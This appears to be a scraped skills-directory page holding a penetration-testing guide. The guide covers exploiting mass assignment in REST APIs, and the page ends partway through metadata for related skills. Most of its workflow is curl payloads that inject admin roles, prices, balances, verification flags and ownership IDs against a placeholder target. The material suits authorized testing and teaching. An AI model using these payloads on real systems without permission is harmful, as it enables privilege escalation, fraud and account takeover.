[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AEPJTV0WKT74R55WTF19A7":3,"skill-same:01M6AEPJTV0WKT74R55WTF19A7":115},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":34,"publishedAt":55,"linkOnly":56,"markdownContent":57,"markdownBody":58,"frontMatter":59,"refName":74,"commitSha":75,"skillDirectory":76,"forksCount":77,"repositoryHtmlUrl":78,"repositoryHomepageUrl":79,"ownerHtmlUrl":80,"ownerBlogUrl":81,"ownerDescription":82,"updatedAt":83,"install":84,"resources":97},"01M6AEPJTV0WKT74R55WTF19A7","exploiting-mass-assignment-in-rest-apis",null,"Discovers and exploits mass assignment (autobinding) in REST APIs by injecting unexpected or hidden parameters (e.g. role, isAdmin, plan) into create\u002Fupdate requests, using Burp Suite Intruder, Arjun, and param-miner to find bindable fields on ORM-backed endpoints (Rails, Django, Laravel, Spring). Use when testing REST APIs for privilege escalation or authorization bypass via unintended parameter binding.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36140,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-mass-assignment-in-rest-apis\u002FSKILL.md",[18,23,26,29],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":30,"categoryName":31,"taxonomyType":32,"taxonomyTypeDesc":33},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54],"REST","exploiting mass assignment in rest apis","mass-assignment","cybersecurity","owasp-api","parameter-injection","autobinding","rest-api","injection","t1059","web-application-security","web","testing","owasp","escalation","api-security","privilege-escalation","update","create","pr","2026-11-10 10:12:30",false,"---\nname: exploiting-mass-assignment-in-rest-apis\ndescription: >-\n  Discovers and exploits mass assignment (autobinding) in REST APIs by injecting\n  unexpected or hidden parameters (e.g. role, isAdmin, plan) into create\u002Fupdate\n  requests, using Burp Suite Intruder, Arjun, and param-miner to find bindable\n  fields on ORM-backed endpoints (Rails, Django, Laravel, Spring). Use when testing\n  REST APIs for privilege escalation or authorization bypass via unintended\n  parameter binding.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- mass-assignment\n- api-security\n- privilege-escalation\n- rest-api\n- autobinding\n- parameter-injection\n- owasp-api\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1068\n---\n\n# Exploiting Mass Assignment in REST APIs\n\n## When to Use\n- When testing REST APIs that accept JSON input for creating or updating resources\n- During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)\n- When testing user registration, profile update, or account management endpoints\n- During bug bounty hunting on applications with CRUD API operations\n- When evaluating role-based access control implementation in API-driven applications\n\n## Prerequisites\n- Burp Suite or Postman for API request crafting and interception\n- Understanding of ORM auto-binding behavior in common frameworks\n- API documentation or endpoint discovery through reconnaissance\n- Multiple user accounts with different privilege levels for testing\n- Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)\n- Arjun or param-miner for hidden parameter discovery\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Discover API Structure and Fields\n```bash\n# Examine API responses to identify all object fields\ncurl -H \"Authorization: Bearer USER_TOKEN\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme | jq .\n# Response reveals fields: id, username, email, role, isAdmin, verified, balance\n\n# Check API documentation for exposed schemas\ncurl http:\u002F\u002Ftarget.com\u002Fapi\u002Fdocs\ncurl http:\u002F\u002Ftarget.com\u002Fswagger.json\ncurl http:\u002F\u002Ftarget.com\u002Fopenapi.yaml\n\n# Use Arjun for hidden parameter discovery\narjun -u http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme -m JSON -H \"Authorization: Bearer USER_TOKEN\"\n\n# Examine create\u002Fupdate request body vs response body\n# The response may contain more fields than the request sends\n# Those extra fields are mass assignment candidates\n```\n\n### Step 2 — Test Privilege Escalation via Role Fields\n```bash\n# Inject role\u002Fadmin fields in profile update\ncurl -X PUT http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"testuser\",\"email\":\"test@test.com\",\"role\":\"admin\"}'\n\n# Try common admin field names\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"isAdmin\":true}'\n\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"is_admin\":true,\"admin\":true,\"role\":\"superadmin\",\"user_type\":\"admin\",\"privilege_level\":99}'\n\n# Test during registration\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fregister \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"newadmin\",\"password\":\"pass123\",\"email\":\"admin@evil.com\",\"role\":\"admin\",\"isAdmin\":true}'\n```\n\n### Step 3 — Test Financial and Business Logic Fields\n```bash\n# Modify price or balance fields\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Forders \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"product_id\":1,\"quantity\":1,\"price\":0.01}'\n\n# Modify account balance\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fwallet \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"balance\":999999}'\n\n# Modify discount or coupon fields\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fcheckout \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"cart_id\":123,\"discount_percent\":100,\"coupon_code\":\"NONE\"}'\n\n# Modify subscription tier\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fsubscription \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"plan\":\"enterprise\",\"price\":0}'\n```\n\n### Step 4 — Test Verification and Status Fields\n```bash\n# Bypass email verification\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email_verified\":true,\"verified\":true,\"active\":true}'\n\n# Modify account status\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"status\":\"active\",\"banned\":false,\"suspended\":false}'\n\n# Modify ownership\u002Forganization\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"organization_id\":\"target-org-uuid\",\"team_id\":\"admin-team\"}'\n```\n\n### Step 5 — Test Relationship and Foreign Key Manipulation\n```bash\n# Change resource ownership\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fdocuments\u002F123 \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"owner_id\":\"admin-user-id\"}'\n\n# Assign to different group\u002Fteam\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fprojects\u002F456 \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"team_id\":\"privileged-team\",\"access_level\":\"write\"}'\n\n# Modify created_at\u002Fupdated_at for audit log manipulation\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fentries\u002F789 \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"created_at\":\"2020-01-01\",\"created_by\":\"other-user-id\"}'\n```\n\n### Step 6 — Automate Mass Assignment Testing\n```bash\n# Use Burp Intruder with field names wordlist\n# Wordlist of common mass assignment fields:\n# role, admin, isAdmin, is_admin, user_type, privilege, level\n# verified, email_verified, active, banned, suspended\n# balance, credits, price, discount, plan, tier\n# owner_id, organization_id, team_id, group_id\n\n# Python automation script\npython3 mass_assignment_tester.py \\\n  --url http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  --method PATCH \\\n  --token \"Bearer USER_TOKEN\" \\\n  --fields-file mass_assignment_fields.txt\n\n# Nuclei mass assignment templates\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fmass-assignment.yaml\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Mass Assignment | ORM auto-binding of request parameters to model attributes without restriction |\n| Autobinding | Framework feature that maps HTTP parameters directly to object properties |\n| Allowlist | Server-side list of permitted fields for update operations (strong_parameters in Rails) |\n| Denylist | List of forbidden fields (less secure than allowlist approach) |\n| Hidden Fields | Server-managed fields (role, balance) not shown in forms but accepted by API |\n| DTO (Data Transfer Object) | Pattern using separate objects for input vs. database to prevent mass assignment |\n| Parameter Pollution | Sending unexpected extra parameters alongside legitimate ones |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | API request interception and parameter injection |\n| Postman | API testing and collection-based mass assignment testing |\n| Arjun | Hidden parameter discovery tool for API endpoints |\n| param-miner | Burp extension for discovering hidden parameters |\n| OWASP ZAP | Automated API scanning with parameter injection |\n| swagger-codegen | Generate API clients from OpenAPI specs for testing |\n\n## Common Scenarios\n\n1. **Admin Privilege Escalation** — Inject `\"role\":\"admin\"` or `\"isAdmin\":true` in profile update to gain administrative access\n2. **Price Manipulation** — Modify `price` or `discount` fields in order creation endpoints to purchase items at reduced cost\n3. **Email Verification Bypass** — Set `email_verified:true` during registration or profile update to bypass verification requirements\n4. **Account Takeover** — Modify `email` or `phone` fields to attacker-controlled values, then trigger password reset\n5. **Subscription Upgrade** — Inject `plan:\"enterprise\"` in subscription update to gain premium features without payment\n\n## Output Format\n\n```\n## Mass Assignment Vulnerability Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme\n- **Method**: PATCH\n- **Framework**: Ruby on Rails (detected via X-Powered-By)\n\n### Findings\n| # | Endpoint | Injected Field | Original | Modified | Impact |\n|---|----------|---------------|----------|----------|--------|\n| 1 | PATCH \u002Fapi\u002Fusers\u002Fme | role | \"user\" | \"admin\" | Privilege Escalation |\n| 2 | POST \u002Fapi\u002Forders | price | 99.99 | 0.01 | Financial Loss |\n| 3 | PATCH \u002Fapi\u002Fusers\u002Fme | email_verified | false | true | Verification Bypass |\n\n### Remediation\n- Implement allowlist (strong_parameters) for all model update operations\n- Use DTOs\u002FViewModels to decouple API input from database models\n- Apply field-level authorization checks on sensitive attributes\n- Log and alert on attempts to modify restricted fields\n```\n","# Exploiting Mass Assignment in REST APIs\n\n## When to Use\n- When testing REST APIs that accept JSON input for creating or updating resources\n- During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)\n- When testing user registration, profile update, or account management endpoints\n- During bug bounty hunting on applications with CRUD API operations\n- When evaluating role-based access control implementation in API-driven applications\n\n## Prerequisites\n- Burp Suite or Postman for API request crafting and interception\n- Understanding of ORM auto-binding behavior in common frameworks\n- API documentation or endpoint discovery through reconnaissance\n- Multiple user accounts with different privilege levels for testing\n- Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)\n- Arjun or param-miner for hidden parameter discovery\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Discover API Structure and Fields\n```bash\n# Examine API responses to identify all object fields\ncurl -H \"Authorization: Bearer USER_TOKEN\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme | jq .\n# Response reveals fields: id, username, email, role, isAdmin, verified, balance\n\n# Check API documentation for exposed schemas\ncurl http:\u002F\u002Ftarget.com\u002Fapi\u002Fdocs\ncurl http:\u002F\u002Ftarget.com\u002Fswagger.json\ncurl http:\u002F\u002Ftarget.com\u002Fopenapi.yaml\n\n# Use Arjun for hidden parameter discovery\narjun -u http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme -m JSON -H \"Authorization: Bearer USER_TOKEN\"\n\n# Examine create\u002Fupdate request body vs response body\n# The response may contain more fields than the request sends\n# Those extra fields are mass assignment candidates\n```\n\n### Step 2 — Test Privilege Escalation via Role Fields\n```bash\n# Inject role\u002Fadmin fields in profile update\ncurl -X PUT http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"testuser\",\"email\":\"test@test.com\",\"role\":\"admin\"}'\n\n# Try common admin field names\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"isAdmin\":true}'\n\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"is_admin\":true,\"admin\":true,\"role\":\"superadmin\",\"user_type\":\"admin\",\"privilege_level\":99}'\n\n# Test during registration\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fregister \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"newadmin\",\"password\":\"pass123\",\"email\":\"admin@evil.com\",\"role\":\"admin\",\"isAdmin\":true}'\n```\n\n### Step 3 — Test Financial and Business Logic Fields\n```bash\n# Modify price or balance fields\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Forders \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"product_id\":1,\"quantity\":1,\"price\":0.01}'\n\n# Modify account balance\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fwallet \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"balance\":999999}'\n\n# Modify discount or coupon fields\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fcheckout \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"cart_id\":123,\"discount_percent\":100,\"coupon_code\":\"NONE\"}'\n\n# Modify subscription tier\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fsubscription \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"plan\":\"enterprise\",\"price\":0}'\n```\n\n### Step 4 — Test Verification and Status Fields\n```bash\n# Bypass email verification\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email_verified\":true,\"verified\":true,\"active\":true}'\n\n# Modify account status\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"status\":\"active\",\"banned\":false,\"suspended\":false}'\n\n# Modify ownership\u002Forganization\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"organization_id\":\"target-org-uuid\",\"team_id\":\"admin-team\"}'\n```\n\n### Step 5 — Test Relationship and Foreign Key Manipulation\n```bash\n# Change resource ownership\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fdocuments\u002F123 \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"owner_id\":\"admin-user-id\"}'\n\n# Assign to different group\u002Fteam\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fprojects\u002F456 \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"team_id\":\"privileged-team\",\"access_level\":\"write\"}'\n\n# Modify created_at\u002Fupdated_at for audit log manipulation\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fentries\u002F789 \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"created_at\":\"2020-01-01\",\"created_by\":\"other-user-id\"}'\n```\n\n### Step 6 — Automate Mass Assignment Testing\n```bash\n# Use Burp Intruder with field names wordlist\n# Wordlist of common mass assignment fields:\n# role, admin, isAdmin, is_admin, user_type, privilege, level\n# verified, email_verified, active, banned, suspended\n# balance, credits, price, discount, plan, tier\n# owner_id, organization_id, team_id, group_id\n\n# Python automation script\npython3 mass_assignment_tester.py \\\n  --url http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  --method PATCH \\\n  --token \"Bearer USER_TOKEN\" \\\n  --fields-file mass_assignment_fields.txt\n\n# Nuclei mass assignment templates\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fmass-assignment.yaml\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Mass Assignment | ORM auto-binding of request parameters to model attributes without restriction |\n| Autobinding | Framework feature that maps HTTP parameters directly to object properties |\n| Allowlist | Server-side list of permitted fields for update operations (strong_parameters in Rails) |\n| Denylist | List of forbidden fields (less secure than allowlist approach) |\n| Hidden Fields | Server-managed fields (role, balance) not shown in forms but accepted by API |\n| DTO (Data Transfer Object) | Pattern using separate objects for input vs. database to prevent mass assignment |\n| Parameter Pollution | Sending unexpected extra parameters alongside legitimate ones |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | API request interception and parameter injection |\n| Postman | API testing and collection-based mass assignment testing |\n| Arjun | Hidden parameter discovery tool for API endpoints |\n| param-miner | Burp extension for discovering hidden parameters |\n| OWASP ZAP | Automated API scanning with parameter injection |\n| swagger-codegen | Generate API clients from OpenAPI specs for testing |\n\n## Common Scenarios\n\n1. **Admin Privilege Escalation** — Inject `\"role\":\"admin\"` or `\"isAdmin\":true` in profile update to gain administrative access\n2. **Price Manipulation** — Modify `price` or `discount` fields in order creation endpoints to purchase items at reduced cost\n3. **Email Verification Bypass** — Set `email_verified:true` during registration or profile update to bypass verification requirements\n4. **Account Takeover** — Modify `email` or `phone` fields to attacker-controlled values, then trigger password reset\n5. **Subscription Upgrade** — Inject `plan:\"enterprise\"` in subscription update to gain premium features without payment\n\n## Output Format\n\n```\n## Mass Assignment Vulnerability Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme\n- **Method**: PATCH\n- **Framework**: Ruby on Rails (detected via X-Powered-By)\n\n### Findings\n| # | Endpoint | Injected Field | Original | Modified | Impact |\n|---|----------|---------------|----------|----------|--------|\n| 1 | PATCH \u002Fapi\u002Fusers\u002Fme | role | \"user\" | \"admin\" | Privilege Escalation |\n| 2 | POST \u002Fapi\u002Forders | price | 99.99 | 0.01 | Financial Loss |\n| 3 | PATCH \u002Fapi\u002Fusers\u002Fme | email_verified | false | true | Verification Bypass |\n\n### Remediation\n- Implement allowlist (strong_parameters) for all model update operations\n- Use DTOs\u002FViewModels to decouple API input from database models\n- Apply field-level authorization checks on sensitive attributes\n- Log and alert on attempts to modify restricted fields\n```\n",{"name":5,"tags":60,"author":61,"domain":38,"license":15,"version":62,"nist_csf":63,"subdomain":45,"description":7,"mitre_attack":68},[37,50,51,42,41,40,39],"mahipal","1.0",[64,65,66,67],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[69,70,71,72,73],"T1190","T1059.007","T1505.003","T1083","T1068","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fexploiting-mass-assignment-in-rest-apis",4423,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":85,"prompt":95,"zipAvailable":96},[86,89,92],{"tool":87,"command":88},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-mass-assignment-in-rest-apis",{"tool":90,"command":91},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-mass-assignment-in-rest-apis",{"tool":93,"command":94},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-mass-assignment-in-rest-apis","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-mass-assignment-in-rest-apis\u002FSKILL.md",true,[98,103,109],{"path":99,"resourceType":99,"resourceTypeDesc":100,"sizeBytes":101,"sourceHtmlUrl":102},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-mass-assignment-in-rest-apis\u002FLICENSE",{"path":104,"resourceType":105,"resourceTypeDesc":106,"sizeBytes":107,"sourceHtmlUrl":108},"references\u002Fapi-reference.md","REFERENCE","参考文档",2495,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-mass-assignment-in-rest-apis\u002Freferences\u002Fapi-reference.md",{"path":110,"resourceType":111,"resourceTypeDesc":112,"sizeBytes":113,"sourceHtmlUrl":114},"scripts\u002Fagent.py","SCRIPT","脚本",4629,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-mass-assignment-in-rest-apis\u002Fscripts\u002Fagent.py",[116,142,166,191,217,244],{"skillNo":117,"name":118,"nameZh":6,"description":119,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":120,"categories":121,"keywords":123,"publishedAt":55},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[122],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[124,125,126,127,128,38,129,130,54,131,132,133,134,135,136,137,138,139,140,141],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":143,"name":144,"nameZh":6,"description":145,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":146,"categories":147,"keywords":149,"publishedAt":55},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[148],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[150,138,151,152,128,153,38,54,154,155,156,157,158,159,160,161,162,163,164,165],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":167,"name":168,"nameZh":6,"description":169,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":170,"categories":171,"keywords":174,"publishedAt":55},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[172,173],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[160,175,176,177,47,38,178,179,154,180,181,182,183,184,185,186,187,188,189,190],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":192,"name":193,"nameZh":6,"description":194,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":195,"categories":196,"keywords":198,"publishedAt":55},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[197],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[199,200,201,38,202,203,204,205,206,207,208,209,210,211,212,213,157,214,215,216],"windows","kape","triaging windows with 